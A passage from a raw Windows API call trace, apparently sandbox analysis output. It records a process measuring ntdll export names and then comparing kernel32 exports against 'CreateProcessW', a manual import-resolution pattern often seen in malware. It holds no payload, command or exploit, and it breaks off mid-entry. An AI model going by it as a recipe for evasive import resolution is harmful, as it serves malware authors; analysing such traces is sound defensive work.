returned 26 [0064.356] lstrlenA (lpString="AlpcRegisterCompletionListWorkerThread") returned 38 [0064.356] lstrlenA (lpString="AlpcRundownCompletionList") returned 25 [0064.356] lstrlenA (lpString="AlpcUnregisterCompletionList") returned 28 [0064.356] lstrlenA (lpString="AlpcUnregisterCompletionListWorkerThread") returned 40 [0064.356] lstrlenA (lpString="CsrAllocateCaptureBuffer") returned 24 [0064.356] lstrlenA (lpString="CsrAllocateMessagePointer") returned 25 [0064.356] lstrlenA (lpString="CsrCaptureMessageBuffer") returned 23 [0064.356] lstrlenA (lpString="CsrCaptureMessageMultiUnicodeStringsInPlace") returned 43 [0064.356] lstrlenA (lpString="CsrCaptureMessageString") returned 23 [0064.356] lstrlenA (lpString="CsrCaptureTimeout") returned 17 [0064.356] lstrlenA (lpString="CsrClientCallServer") returned 19 [0064.356] lstrlenA (lpString="CsrClientConnectToServer") returned 24 [0064.356] lstrlenA (lpString="CsrFreeCaptureBuffer") returned 20 [0064.356] lstrlenA (lpString="CsrGetProcessId") returned 15 [0064.356] lstrlenA (lpString="CsrIdentifyAlertableThread") returned 26 [0064.356] lstrlenA (lpString="CsrSetPriorityClass") returned 19 [0064.356] lstrlenA (lpString="CsrVerifyRegion") returned 15 [0064.356] lstrlenA (lpString="DbgBreakPoint") returned 13 [0064.356] lstrlenA (lpString="DbgPrint") returned 8 [0064.356] lstrlenA (lpString="DbgPrintEx") returned 10 [0064.356] lstrlenA (lpString="DbgPrintReturnControlC") returned 22 [0064.356] lstrlenA (lpString="DbgPrompt") returned 9 [0064.356] lstrlenA (lpString="DbgQueryDebugFilterState") returned 24 [0064.356] lstrlenA (lpString="DbgSetDebugFilterState") returned 22 [0064.356] lstrlenA (lpString="DbgUiConnectToDbg") returned 17 [0064.356] lstrlenA (lpString="DbgUiContinue") returned 13 [0064.356] lstrlenA (lpString="DbgUiConvertStateChangeStructure") returned 32 [0064.356] lstrlenA (lpString="DbgUiDebugActiveProcess") returned 23 [0064.356] lstrlenA (lpString="DbgUiGetThreadDebugObject") returned 25 [0064.356] lstrlenA (lpString="DbgUiIssueRemoteBreakin") returned 23 [0064.356] lstrlenA (lpString="DbgUiRemoteBreakin") returned 18 [0064.356] lstrlenA (lpString="DbgUiSetThreadDebugObject") returned 25 [0064.356] lstrlenA (lpString="DbgUiStopDebugging") returned 18 [0064.356] lstrlenA (lpString="DbgUiWaitStateChange") returned 20 [0064.356] lstrlenA (lpString="DbgUserBreakPoint") returned 17 [0064.356] lstrlenA (lpString="EtwCreateTraceInstanceId") returned 24 [0064.356] lstrlenA (lpString="EtwDeliverDataBlock") returned 19 [0064.356] lstrlenA (lpString="EtwEnumerateProcessRegGuids") returned 27 [0064.356] lstrlenA (lpString="EtwEventActivityIdControl") returned 25 [0064.356] lstrlenA (lpString="EtwEventEnabled") returned 15 [0064.356] lstrlenA (lpString="EtwEventProviderEnabled") returned 23 [0064.356] lstrlenA (lpString="EtwEventRegister") returned 16 [0064.357] lstrlenA (lpString="EtwEventUnregister") returned 18 [0064.357] lstrlenA (lpString="EtwEventWrite") returned 13 [0064.357] lstrlenA (lpString="EtwEventWriteEndScenario") returned 24 [0064.357] lstrlenA (lpString="EtwEventWriteEx") returned 15 [0064.357] lstrlenA (lpString="EtwEventWriteFull") returned 17 [0064.357] lstrlenA (lpString="EtwEventWriteNoRegistration") returned 27 [0064.357] lstrlenA (lpString="EtwEventWriteStartScenario") returned 26 [0064.357] lstrlenA (lpString="EtwEventWriteString") returned 19 [0064.357] lstrlenA (lpString="EtwEventWriteTransfer") returned 21 [0064.357] lstrlenA (lpString="EtwGetTraceEnableFlags") returned 22 [0064.357] lstrlenA (lpString="EtwGetTraceEnableLevel") returned 22 [0064.357] lstrlenA (lpString="EtwGetTraceLoggerHandle") returned 23 [0064.357] lstrlenA (lpString="EtwLogTraceEvent") returned 16 [0064.357] lstrlenA (lpString="EtwNotificationRegister") returned 23 [0064.357] lstrlenA (lpString="EtwNotificationUnregister") returned 25 [0064.357] lstrlenA (lpString="EtwProcessPrivateLoggerRequest") returned 30 [0064.357] lstrlenA (lpString="EtwRegisterSecurityProvider") returned 27 [0064.357] lstrlenA (lpString="EtwRegisterTraceGuidsA") returned 22 [0064.357] lstrlenA (lpString="EtwRegisterTraceGuidsW") returned 22 [0064.357] lstrlenA (lpString="EtwReplyNotification") returned 20 [0064.357] lstrlenA (lpString="EtwSendNotification") returned 19 [0064.357] lstrlenA (lpString="EtwSetMark") returned 10 [0064.357] lstrlenA (lpString="EtwTraceEventInstance") returned 21 [0064.357] lstrlenA (lpString="EtwTraceMessage") returned 15 [0064.357] lstrlenA (lpString="EtwTraceMessageVa") returned 17 [0064.357] lstrlenA (lpString="EtwUnregisterTraceGuids") returned 23 [0064.357] lstrlenA (lpString="EtwWriteUMSecurityEvent") returned 23 [0064.357] lstrlenA (lpString="EtwpCreateEtwThread") returned 19 [0064.357] lstrlenA (lpString="EtwpGetCpuSpeed") returned 15 [0064.357] lstrlenA (lpString="EtwpNotificationThread") returned 22 [0064.357] lstrlenA (lpString="EvtIntReportAuthzEventAndSourceAsync") returned 36 [0064.357] lstrlenA (lpString="EvtIntReportEventAndSourceAsync") returned 31 [0064.357] lstrlenA (lpString="ExpInterlockedPopEntrySListEnd") returned 30 [0064.357] lstrlenA (lpString="ExpInterlockedPopEntrySListFault") returned 32 [0064.357] lstrlenA (lpString="ExpInterlockedPopEntrySListResume") returned 33 [0064.357] lstrlenA (lpString="KiFastSystemCall") returned 16 [0064.357] lstrlenA (lpString="KiFastSystemCallRet") returned 19 [0064.357] lstrlenA (lpString="KiIntSystemCall") returned 15 [0064.357] lstrlenA (lpString="KiRaiseUserExceptionDispatcher") returned 30 [0064.357] lstrlenA (lpString="KiUserApcDispatcher") returned 19 [0064.357] lstrlenA (lpString="KiUserCallbackDispatcher") returned 24 [0064.358] lstrlenA (lpString="KiUserExceptionDispatcher") returned 25 [0064.358] lstrlenA (lpString="LdrAccessResource") returned 17 [0064.358] lstrlenA (lpString="LdrAddLoadAsDataTable") returned 21 [0064.358] lstrlenA (lpString="LdrAddRefDll") returned 12 [0064.358] lstrlenA (lpString="LdrDisableThreadCalloutsForDll") returned 30 [0064.358] lstrlenA (lpString="LdrEnumResources") returned 16 [0064.358] lstrlenA (lpString="LdrEnumerateLoadedModules") returned 25 [0064.358] lstrlenA (lpString="LdrFindEntryForAddress") returned 22 [0064.358] lstrlenA (lpString="LdrFindResourceDirectory_U") returned 26 [0064.358] lstrlenA (lpString="LdrFindResourceEx_U") returned 19 [0064.358] lstrlenA (lpString="LdrFindResource_U") returned 17 [0064.358] lstrlenA (lpString="LdrFlushAlternateResourceModules") returned 32 [0064.358] lstrlenA (lpString="LdrGetDllHandle") returned 15 [0064.358] lstrlenA (lpString="LdrGetDllHandleByMapping") returned 24 [0064.358] lstrlenA (lpString="LdrGetDllHandleByName") returned 21 [0064.358] lstrlenA (lpString="LdrGetDllHandleEx") returned 17 [0064.358] lstrlenA (lpString="LdrGetFailureData") returned 17 [0064.358] lstrlenA (lpString="LdrGetFileNameFromLoadAsDataTable") returned 33 [0064.358] lstrlenA (lpString="LdrGetProcedureAddress") returned 22 [0064.358] lstrlenA (lpString="LdrGetProcedureAddressEx") returned 24 [0064.358] lstrlenA (lpString="LdrHotPatchRoutine") returned 18 [0064.358] lstrlenA (lpString="LdrInitShimEngineDynamic") returned 24 [0064.358] lstrlenA (lpString="LdrInitializeThunk") returned 18 [0064.358] lstrlenA (lpString="LdrLoadAlternateResourceModule") returned 30 [0064.358] lstrlenA (lpString="LdrLoadAlternateResourceModuleEx") returned 32 [0064.358] lstrlenA (lpString="LdrLoadDll") returned 10 [0064.358] lstrlenA (lpString="LdrLockLoaderLock") returned 17 [0064.358] lstrlenA (lpString="LdrOpenImageFileOptionsKey") returned 26 [0064.358] lstrlenA (lpString="LdrProcessRelocationBlock") returned 25 [0064.358] lstrlenA (lpString="LdrQueryImageFileExecutionOptions") returned 33 [0064.358] lstrlenA (lpString="LdrQueryImageFileExecutionOptionsEx") returned 35 [0064.358] lstrlenA (lpString="LdrQueryImageFileKeyOption") returned 26 [0064.358] lstrlenA (lpString="LdrQueryModuleServiceTags") returned 25 [0064.358] lstrlenA (lpString="LdrQueryProcessModuleInformation") returned 32 [0064.358] lstrlenA (lpString="LdrRegisterDllNotification") returned 26 [0064.358] lstrlenA (lpString="LdrRemoveLoadAsDataTable") returned 24 [0064.358] lstrlenA (lpString="LdrResFindResource") returned 18 [0064.358] lstrlenA (lpString="LdrResFindResourceDirectory") returned 27 [0064.358] lstrlenA (lpString="LdrResGetRCConfig") returned 17 [0064.358] lstrlenA (lpString="LdrResRelease") returned 13 [0064.359] lstrlenA (lpString="LdrResSearchResource") returned 20 [0064.359] lstrlenA (lpString="LdrRscIsTypeExist") returned 17 [0064.359] lstrlenA (lpString="LdrSetAppCompatDllRedirectionCallback") returned 37 [0064.359] lstrlenA (lpString="LdrSetDllManifestProber") returned 23 [0064.359] lstrlenA (lpString="LdrSetMUICacheType") returned 18 [0064.359] lstrlenA (lpString="LdrShutdownProcess") returned 18 [0064.359] lstrlenA (lpString="LdrShutdownThread") returned 17 [0064.359] lstrlenA (lpString="LdrUnloadAlternateResourceModule") returned 32 [0064.359] lstrlenA (lpString="LdrUnloadAlternateResourceModuleEx") returned 34 [0064.359] lstrlenA (lpString="LdrUnloadDll") returned 12 [0064.359] lstrlenA (lpString="LdrUnlockLoaderLock") returned 19 [0064.359] lstrlenA (lpString="LdrUnregisterDllNotification") returned 28 [0064.359] lstrlenA (lpString="LdrVerifyImageMatchesChecksum") returned 29 [0064.359] lstrlenA (lpString="LdrVerifyImageMatchesChecksumEx") returned 31 [0064.359] lstrlenA (lpString="LdrWx86FormatVirtualImage") returned 25 [0064.359] lstrlenA (lpString="LdrpResGetMappingSize") returned 21 [0064.359] lstrlenA (lpString="LdrpResGetResourceDirectory") returned 27 [0064.359] lstrlenA (lpString="MD4Final") returned 8 [0064.359] lstrlenA (lpString="MD4Init") returned 7 [0064.359] lstrlenA (lpString="MD4Update") returned 9 [0064.359] lstrlenA (lpString="MD5Final") returned 8 [0064.359] lstrlenA (lpString="MD5Init") returned 7 [0064.359] lstrlenA (lpString="MD5Update") returned 9 [0064.359] lstrlenA (lpString="NlsAnsiCodePage") returned 15 [0064.359] lstrlenA (lpString="NlsMbCodePageTag") returned 16 [0064.359] lstrlenA (lpString="NlsMbOemCodePageTag") returned 19 [0064.359] lstrlenA (lpString="NtAcceptConnectPort") returned 19 [0064.359] lstrlenA (lpString="NtAccessCheck") returned 13 [0064.359] lstrlenA (lpString="NtAccessCheckAndAuditAlarm") returned 26 [0064.359] lstrlenA (lpString="NtAccessCheckByType") returned 19 [0064.359] lstrlenA (lpString="NtAccessCheckByTypeAndAuditAlarm") returned 32 [0064.359] lstrlenA (lpString="NtAccessCheckByTypeResultList") returned 29 [0064.359] lstrlenA (lpString="NtAccessCheckByTypeResultListAndAuditAlarm") returned 42 [0064.359] lstrlenA (lpString="NtAccessCheckByTypeResultListAndAuditAlarmByHandle") returned 50 [0064.359] lstrlenA (lpString="NtAddAtom") returned 9 [0064.359] lstrlenA (lpString="NtAddBootEntry") returned 14 [0064.359] lstrlenA (lpString="NtAddDriverEntry") returned 16 [0064.359] lstrlenA (lpString="NtAdjustGroupsToken") returned 19 [0064.359] lstrlenA (lpString="NtAdjustPrivilegesToken") returned 23 [0064.359] lstrlenA (lpString="NtAlertResumeThread") returned 19 [0064.359] lstrlenA (lpString="NtAlertThread") returned 13 [0064.360] lstrlenA (lpString="NtAllocateLocallyUniqueId") returned 25 [0064.360] lstrlenA (lpString="NtAllocateReserveObject") returned 23 [0064.360] lstrlenA (lpString="NtAllocateUserPhysicalPages") returned 27 [0064.360] lstrlenA (lpString="NtAllocateUuids") returned 15 [0064.360] lstrlenA (lpString="NtAllocateVirtualMemory") returned 23 [0064.360] lstrlenA (lpString="NtAlpcAcceptConnectPort") returned 23 [0064.360] lstrlenA (lpString="NtAlpcCancelMessage") returned 19 [0064.360] lstrlenA (lpString="NtAlpcConnectPort") returned 17 [0064.360] lstrlenA (lpString="NtAlpcCreatePort") returned 16 [0064.360] lstrlenA (lpString="NtAlpcCreatePortSection") returned 23 [0064.360] lstrlenA (lpString="NtAlpcCreateResourceReserve") returned 27 [0064.360] lstrlenA (lpString="NtAlpcCreateSectionView") returned 23 [0064.360] lstrlenA (lpString="NtAlpcCreateSecurityContext") returned 27 [0064.360] lstrlenA (lpString="NtAlpcDeletePortSection") returned 23 [0064.360] lstrlenA (lpString="NtAlpcDeleteResourceReserve") returned 27 [0064.360] lstrlenA (lpString="NtAlpcDeleteSectionView") returned 23 [0064.360] lstrlenA (lpString="NtAlpcDeleteSecurityContext") returned 27 [0064.360] lstrlenA (lpString="NtAlpcDisconnectPort") returned 20 [0064.360] lstrlenA (lpString="NtAlpcImpersonateClientOfPort") returned 29 [0064.360] lstrlenA (lpString="NtAlpcOpenSenderProcess") returned 23 [0064.360] lstrlenA (lpString="NtAlpcOpenSenderThread") returned 22 [0064.360] lstrlenA (lpString="NtAlpcQueryInformation") returned 22 [0064.360] lstrlenA (lpString="NtAlpcQueryInformationMessage") returned 29 [0064.360] lstrlenA (lpString="NtAlpcRevokeSecurityContext") returned 27 [0064.360] lstrlenA (lpString="NtAlpcSendWaitReceivePort") returned 25 [0064.360] lstrlenA (lpString="NtAlpcSetInformation") returned 20 [0064.360] lstrlenA (lpString="NtApphelpCacheControl") returned 21 [0064.360] lstrlenA (lpString="NtAreMappedFilesTheSame") returned 23 [0064.360] lstrlenA (lpString="NtAssignProcessToJobObject") returned 26 [0064.360] lstrlenA (lpString="NtCallbackReturn") returned 16 [0064.360] lstrlenA (lpString="NtCancelIoFile") returned 14 [0064.360] lstrlenA (lpString="NtCancelIoFileEx") returned 16 [0064.360] lstrlenA (lpString="NtCancelSynchronousIoFile") returned 25 [0064.360] lstrlenA (lpString="NtCancelTimer") returned 13 [0064.360] lstrlenA (lpString="NtClearEvent") returned 12 [0064.360] lstrlenA (lpString="NtClose") returned 7 [0064.360] lstrlenA (lpString="NtCloseObjectAuditAlarm") returned 23 [0064.360] lstrlenA (lpString="NtCommitComplete") returned 16 [0064.360] lstrlenA (lpString="NtCommitEnlistment") returned 18 [0064.360] lstrlenA (lpString="NtCommitTransaction") returned 19 [0064.360] lstrlenA (lpString="NtCompactKeys") returned 13 [0064.360] lstrlenA (lpString="NtCompareTokens") returned 15 [0064.361] lstrlenA (lpString="NtCompleteConnectPort") returned 21 [0064.361] lstrlenA (lpString="NtCompressKey") returned 13 [0064.361] lstrlenA (lpString="NtConnectPort") returned 13 [0064.361] lstrlenA (lpString="NtContinue") returned 10 [0064.361] lstrlenA (lpString="NtCreateDebugObject") returned 19 [0064.361] lstrlenA (lpString="NtCreateDirectoryObject") returned 23 [0064.361] lstrlenA (lpString="NtCreateEnlistment") returned 18 [0064.361] lstrlenA (lpString="NtCreateEvent") returned 13 [0064.361] lstrlenA (lpString="NtCreateEventPair") returned 17 [0064.361] lstrlenA (lpString="NtCreateFile") returned 12 [0064.361] lstrlenA (lpString="NtCreateIoCompletion") returned 20 [0064.361] lstrlenA (lpString="NtCreateJobObject") returned 17 [0064.361] lstrlenA (lpString="NtCreateJobSet") returned 14 [0064.361] lstrlenA (lpString="NtCreateKey") returned 11 [0064.361] lstrlenA (lpString="NtCreateKeyTransacted") returned 21 [0064.361] lstrlenA (lpString="NtCreateKeyedEvent") returned 18 [0064.361] lstrlenA (lpString="NtCreateMailslotFile") returned 20 [0064.361] lstrlenA (lpString="NtCreateMutant") returned 14 [0064.361] lstrlenA (lpString="NtCreateNamedPipeFile") returned 21 [0064.361] lstrlenA (lpString="NtCreatePagingFile") returned 18 [0064.361] lstrlenA (lpString="NtCreatePort") returned 12 [0064.361] lstrlenA (lpString="NtCreatePrivateNamespace") returned 24 [0064.361] lstrlenA (lpString="NtCreateProcess") returned 15 [0064.361] lstrlenA (lpString="NtCreateProcessEx") returned 17 [0064.361] lstrlenA (lpString="NtCreateProfile") returned 15 [0064.361] lstrlenA (lpString="NtCreateProfileEx") returned 17 [0064.361] lstrlenA (lpString="NtCreateResourceManager") returned 23 [0064.361] lstrlenA (lpString="NtCreateSection") returned 15 [0064.361] lstrlenA (lpString="NtCreateSemaphore") returned 17 [0064.367] GetModuleHandleA (lpModuleName="ADVAPI32.DLL") returned 0x75220000 [0064.367] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x769e0000 [0064.367] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x2789858 [0064.368] lstrcmpA (lpString1="AcquireSRWLockExclusive", lpString2="CreateProcessW") returned -1 [0064.370] lstrcmpA (lpString1="AcquireSRWLockShared", lpString2="CreateProcessW") returned -1 [0064.370] lstrcmpA (lpString1="ActivateActCtx", lpString2="CreateProcessW") returned -1 [0064.370] lstrcmpA (lpString1="AddAtomA", lpString2="CreateProcessW") returned -1 [0064.370] lstrcmpA (lpString1="AddAtomW", lpString2="CreateProcessW") returned -1 [0064.370] lstrcmpA (lpString1="AddConsoleAliasA", lpString2="CreateProcessW") returned -1 [0064.370] lstrcmpA (lpString1="AddConsoleAliasW", lpString2="CreateProcessW") returned -1 [0064.370] lstrcmpA (lpString1="AddIntegrityLabelToBoundaryDescriptor", lpString2="CreateProcessW") returned -1 [0064.370] lstrcmpA (lpString1="AddLocalAlternateComputerNameA", lpString2="CreateProcessW") returned -1 [0064.370] lstrcmpA (lpString1="AddLocalAlternateComputerNameW", lpString2="CreateProcessW") returned -1 [0064.370] lstrcmpA (lpString1="AddRefActCtx", lpString2="CreateProcessW") returned -1 [0064.370] lstrcmpA (lpString1="AddSIDToBoundaryDescriptor", lpString2="CreateProcessW") returned -1 [0064.370] lstrcmpA (lpString1="AddSecureMemoryCacheCallback", lpString2="CreateProcessW") returned -1 [0064.370] lstrcmpA (lpString1="AddVectoredContinueHandler", lpString2="CreateProcessW") returned -1 [0064.370] lstrcmpA (lpString1="AddVectoredExceptionHandler", lpString2="CreateProcessW") returned -1 [0064.370] lstrcmpA (lpString1="AdjustCalendarDate", lpString2="CreateProcessW") returned -1 [0064.370] lstrcmpA (lpString1="AllocConsole", lpString2="CreateProcessW") returned -1 [0064.370] lstrcmpA (lpString1="AllocateUserPhysicalPages", lpString2="CreateProcessW") returned -1 [0064.370] lstrcmpA (lpString1="AllocateUserPhysicalPagesNuma", lpString2="CreateProcessW") returned -1 [0064.370] lstrcmpA (lpString1="ApplicationRecoveryFinished", lpString2="CreateProcessW") returned -1 [0064.370] lstrcmpA (lpString1="ApplicationRecoveryInProgress", lpString2="CreateProcessW") returned -1 [0064.370] lstrcmpA (lpString1="AreFileApisANSI", lpString2="CreateProcessW") returned -1 [0064.370] lstrcmpA (lpString1="AssignProcessToJobObject", lpString2="CreateProcessW") returned -1 [0064.370] lstrcmpA (lpString1="AttachConsole", lpString2="CreateProcessW") returned -1 [0064.370] lstrcmpA (lpString1="BackupRead", lpString2="CreateProcessW") returned -1 [0064.370] lstrcmpA (lpString1="BackupSeek", lpString2="CreateProcessW") returned -1 [0064.370] lstrcmpA (lpString1="BackupWrite", lpString2="CreateProcessW") returned -1 [0064.370] lstrcmpA (lpString1="BaseCheckAppcompatCache", lpString2="CreateProcessW") returned -1 [0064.370] lstrcmpA (lpString1="BaseCheckAppcompatCacheEx", lpString2="CreateProcessW") returned -1 [0064.370] lstrcmpA (lpString1="BaseCheckRunApp", lpString2="CreateProcessW") returned -1 [0064.370] lstrcmpA (lpString1="BaseCleanupAppcompatCacheSupport", lpString2="CreateProcessW") returned -1 [0064.370] lstrcmpA (lpString1="BaseDllReadWriteIniFile", lpString2="CreateProcessW") returned -1 [0064.370] lstrcmpA (lpString1="BaseDumpAppcompatCache", lpString2="CreateProcessW") returned -1 [0064.370] lstrcmpA (lpString1="BaseFlushAppcompatCache", lpString2="CreateProcessW") returned -1 [0064.370] lstrcmpA (lpString1="BaseFormatObjectAttributes", lpString2="CreateProcessW") returned -1 [0064.371] lstrcmpA (lpString1="BaseFormatTimeOut", lpString2="CreateProcessW") returned -1 [0064.371] lstrcmpA (lpString1="BaseGenerateAppCompatData", lpString2="CreateProcessW") returned -1 [0064.371] lstrcmpA (lpString1="BaseGetNamedObjectDirectory", lpString2="CreateProcessW") returned -1 [0064.371] lstrcmpA (lpString1="BaseInitAppcompatCacheSupport", lpString2="CreateProcessW") returned -1 [0064.371] lstrcmpA (lpString1="BaseIsAppcompatInfrastructureDisabled", lpString2="CreateProcessW") returned -1 [0064.371] lstrcmpA (lpString1="BaseQueryModuleData", lpString2="CreateProcessW") returned -1 [0064.371] lstrcmpA (lpString1="BaseSetLastNTError", lpString2="CreateProcessW") returned -1 [0064.371] lstrcmpA (lpString1="BaseThreadInitThunk", lpString2="CreateProcessW") returned -1 [0064.371] lstrcmpA (lpString1="BaseUpdateAppcompatCache", lpString2="CreateProcessW") returned -1 [0064.371] lstrcmpA (lpString1="BaseVerifyUnicodeString", lpString2="CreateProcessW") returned -1 [0064.371] lstrcmpA (lpString1="Basep8BitStringToDynamicUnicodeString", lpString2="CreateProcessW") returned -1 [0064.371] lstrcmpA (lpString1="BasepAllocateActivationContextActivationBlock", lpString2="CreateProcessW") returned -1 [0064.371] lstrcmpA (lpString1="BasepAnsiStringToDynamicUnicodeString", lpString2="CreateProcessW") returned -1 [0064.371] lstrcmpA (lpString1="BasepCheckAppCompat", lpString2="CreateProcessW") returned -1 [0064.371] lstrcmpA (lpString1="BasepCheckBadapp", lpString2="CreateProcessW") returned -1 [0064.371] lstrcmpA (lpString1="BasepCheckWinSaferRestrictions", lpString2="CreateProcessW") returned -1 [0064.371] lstrcmpA (lpString1="BasepFreeActivationContextActivationBlock", lpString2="CreateProcessW") returned -1 [0064.371] lstrcmpA (lpString1="BasepFreeAppCompatData", lpString2="CreateProcessW") returned -1 [0064.371] lstrcmpA (lpString1="BasepMapModuleHandle", lpString2="CreateProcessW") returned -1 [0064.371] lstrcmpA (lpString1="Beep", lpString2="CreateProcessW") returned -1 [0064.371] lstrcmpA (lpString1="BeginUpdateResourceA", lpString2="CreateProcessW") returned -1 [0064.371] lstrcmpA (lpString1="BeginUpdateResourceW", lpString2="CreateProcessW") returned -1 [0064.371] lstrcmpA (lpString1="BindIoCompletionCallback", lpString2="CreateProcessW") returned -1 [0064.371] lstrcmpA (lpString1="BuildCommDCBA", lpString2="CreateProcessW") returned -1 [0064.371] lstrcmpA (lpString1="BuildCommDCBAndTimeoutsA", lpString2="CreateProcessW") returned -1 [0064.371] lstrcmpA (lpString1="BuildCommDCBAndTimeoutsW", lpString2="CreateProcessW") returned -1 [0064.371] lstrcmpA (lpString1="BuildCommDCBW", lpString2="CreateProcessW") returned -1 [0064.371] lstrcmpA (lpString1="CallNamedPipeA", lpString2="CreateProcessW") returned -1 [0064.371] lstrcmpA (lpString1="CallNamedPipeW", lpString2="CreateProcessW") returned -1 [0064.371] lstrcmpA (lpString1="CallbackMayRunLong", lpString2="CreateProcessW") returned -1 [0064.371] lstrcmpA (lpString1="CancelDeviceWakeupRequest", lpString2="CreateProcessW") returned -1 [0064.371] lstrcmpA (lpString1="CancelIo", lpString2="CreateProcessW") returned -1 [0064.371] lstrcmpA (lpString1="CancelIoEx", lpString2="CreateProcessW") returned -1 [0064.371] lstrcmpA (lpString1="CancelSynchronousIo", lpString2="CreateProcessW") returned -1 [0064.371] lstrcmpA (lpString1="CancelThreadpoolIo", lpString2="CreateProcessW") returned -1 [0064.371] lstrcmpA (lpString1="CancelTimerQueueTimer", lpString2="CreateProcessW") returned -1 [0064.371] lstrcmpA (lpString1="CancelWaitableTimer", lpString2="CreateProcessW") returned -1 [0064.371] lstrcmpA (lpString1="ChangeTimerQueueTimer", lpString2="CreateProcessW") returned -1 [0064.372] lstrcmpA (lpString1="CheckElevation", lpString2="CreateProcessW") returned -1 [0064.372] lstrcmpA (lpString1="CheckElevationEnabled", lpString2="CreateProcessW") returned -1 [0064.372] lstrcmpA (lpString1="CheckForReadOnlyResource", lpString2="CreateProcessW") returned -1 [0064.372] lstrcmpA (lpString1="CheckNameLegalDOS8Dot3A", lpString2="CreateProcessW") returned -1 [0064.372] lstrcmpA (lpString1="CheckNameLegalDOS8Dot3W", lpString2="CreateProcessW") returned -1 [0064.372] lstrcmpA (lpString1="CheckRemoteDebuggerPresent", lpString2="CreateProcessW") returned -1 [0064.372] lstrcmpA (lpString1="ClearCommBreak", lpString2="CreateProcessW") returned -1 [0064.372] lstrcmpA (lpString1="ClearCommError", lpString2="CreateProcessW") returned -1 [0064.372] lstrcmpA (lpString1="CloseConsoleHandle", lpString2="CreateProcessW") returned -1 [0064.372] lstrcmpA (lpString1="CloseHandle", lpString2="CreateProcessW") returned -1 [0064.372] lstrcmpA (lpString1="ClosePrivateNamespace", lpString2="CreateProcessW") returned -1 [0064.372] lstrcmpA (lpString1="CloseProfileUserMapping", lpString2="CreateProcessW") returned -1 [0064.372] lstrcmpA (lpString1="CloseThreadpool", lpString2="CreateProcessW") returned -1 [0064.372] lstrcmpA (lpString1="CloseThreadpoolCleanupGroup", lpString2="CreateProcessW") returned -1 [0064.372] lstrcmpA (lpString1="CloseThreadpoolCleanupGroupMembers", lpString2="CreateProcessW") returned -1 [0064.372] lstrcmpA (lpString1="CloseThreadpoolIo", lpString2="CreateProcessW") returned -1 [0064.372] lstrcmpA (lpString1="CloseThreadpoolTimer", lpString2="CreateProcessW") returned -1 [0064.372] lstrcmpA (lpString1="CloseThreadpoolWait", lpString2="CreateProcessW") returned -1 [0064.372] lstrcmpA (lpString1="CloseThreadpoolWork", lpString2="CreateProcessW") returned -1 [0064.372] lstrcmpA (lpString1="CmdBatNotification", lpString2="CreateProcessW") returned -1 [0064.372] lstrcmpA (lpString1="CommConfigDialogA", lpString2="CreateProcessW") returned -1 [0064.372] lstrcmpA (lpString1="CommConfigDialogW", lpString2="CreateProcessW") returned -1 [0064.372] lstrcmpA (lpString1="CompareCalendarDates", lpString2="CreateProcessW") returned -1 [0064.372] lstrcmpA (lpString1="CompareFileTime", lpString2="CreateProcessW") returned -1 [0064.372] lstrcmpA (lpString1="CompareStringA", lpString2="CreateProcessW") returned -1 [0064.372] lstrcmpA (lpString1="CompareStringEx", lpString2="CreateProcessW") returned -1 [0064.372] lstrcmpA (lpString1="CompareStringOrdinal", lpString2="CreateProcessW") returned -1 [0064.372] lstrcmpA (lpString1="CompareStringW", lpString2="CreateProcessW") returned -1 [0064.372] lstrcmpA (lpString1="ConnectNamedPipe", lpString2="CreateProcessW") returned -1 [0064.372] lstrcmpA (lpString1="ConsoleMenuControl", lpString2="CreateProcessW") returned -1 [0064.372] lstrcmpA (lpString1="ContinueDebugEvent", lpString2="CreateProcessW") returned -1 [0064.372] lstrcmpA (lpString1="ConvertCalDateTimeToSystemTime", lpString2="CreateProcessW") returned -1 [0064.372] lstrcmpA (lpString1="ConvertDefaultLocale", lpString2="CreateProcessW") returned -1 [0064.372] lstrcmpA (lpString1="ConvertFiberToThread", lpString2="CreateProcessW") returned -1 [0064.372] lstrcmpA (lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek", lpString2="CreateProcessW") returned -1 [0064.372] lstrcmpA (lpString1="ConvertSystemTimeToCalDateTime", lpString2="CreateProcessW") returned -1 [0064.372] lstrcmpA (lpString1="ConvertThreadToFiber", lpString2="CreateProcessW") returned -1 [0064.372] lstrcmpA (lpString1="ConvertThreadToFiberEx", lpString2="CreateProcessW") returned -1 [0064.372] lstrcmpA (lpString1="CopyContext", lpString2="CreateProcessW") returned -1 [0064.373] lstrcmpA (lpString1="CopyFileA", lpString2="CreateProcessW") returned -1 [0064.373] lstrcmpA (lpString1="CopyFileExA", lpString2="CreateProcessW") returned -1 [0064.373] lstrcmpA (lpString1="CopyFileExW", lpString2="CreateProcessW") returned -1 [0064.373] lstrcmpA (lpString1="CopyFileTransactedA", lpString2="CreateProcessW") returned -1 [0064.373] lstrcmpA (lpString1="CopyFileTransactedW", lpString2="CreateProcessW") returned -1 [0064.373] lstrcmpA (lpString1="CopyFileW", lpString2="CreateProcessW") returned -1 [0064.373] lstrcmpA (lpString1="CopyLZFile", lpString2="CreateProcessW") returned -1 [0064.373] lstrcmpA (lpString1="CreateActCtxA", lpString2="CreateProcessW") returned -1 [0064.373] lstrcmpA (lpString1="CreateActCtxW", lpString2="CreateProcessW") returned -1 [0064.373] lstrcmpA (lpString1="CreateBoundaryDescriptorA", lpString2="CreateProcessW") returned -1 [0064.373] lstrcmpA (lpString1="CreateBoundaryDescriptorW", lpString2="CreateProcessW") returned -1 [0064.373] lstrcmpA (lpString1="CreateConsoleScreenBuffer", lpString2="CreateProcessW") returned -1 [0064.373] lstrcmpA (lpString1="CreateDirectoryA", lpString2="CreateProcessW") returned -1 [0064.373] lstrcmpA (lpString1="CreateDirectoryExA", lpString2="CreateProcessW") returned -1 [0064.373] lstrcmpA (lpString1="CreateDirectoryExW", lpString2="CreateProcessW") returned -1 [0064.373] lstrcmpA (lpString1="CreateDirectoryTransactedA", lpString2="CreateProcessW") returned -1 [0064.373] lstrcmpA (lpString1="CreateDirectoryTransactedW", lpString2="CreateProcessW") returned -1 [0064.373] lstrcmpA (lpString1="CreateDirectoryW", lpString2="CreateProcessW") returned -1 [0064.373] lstrcmpA (lpString1="CreateEventA", lpString2="CreateProcessW") returned -1 [0064.373] lstrcmpA (lpString1="CreateEventExA", lpString2="CreateProcessW") returned -1 [0064.373] lstrcmpA (lpString1="CreateEventExW", lpString2="CreateProcessW") returned -1 [0064.373] lstrcmpA (lpString1="CreateEventW", lpString2="CreateProcessW") returned -1 [0064.373] lstrcmpA 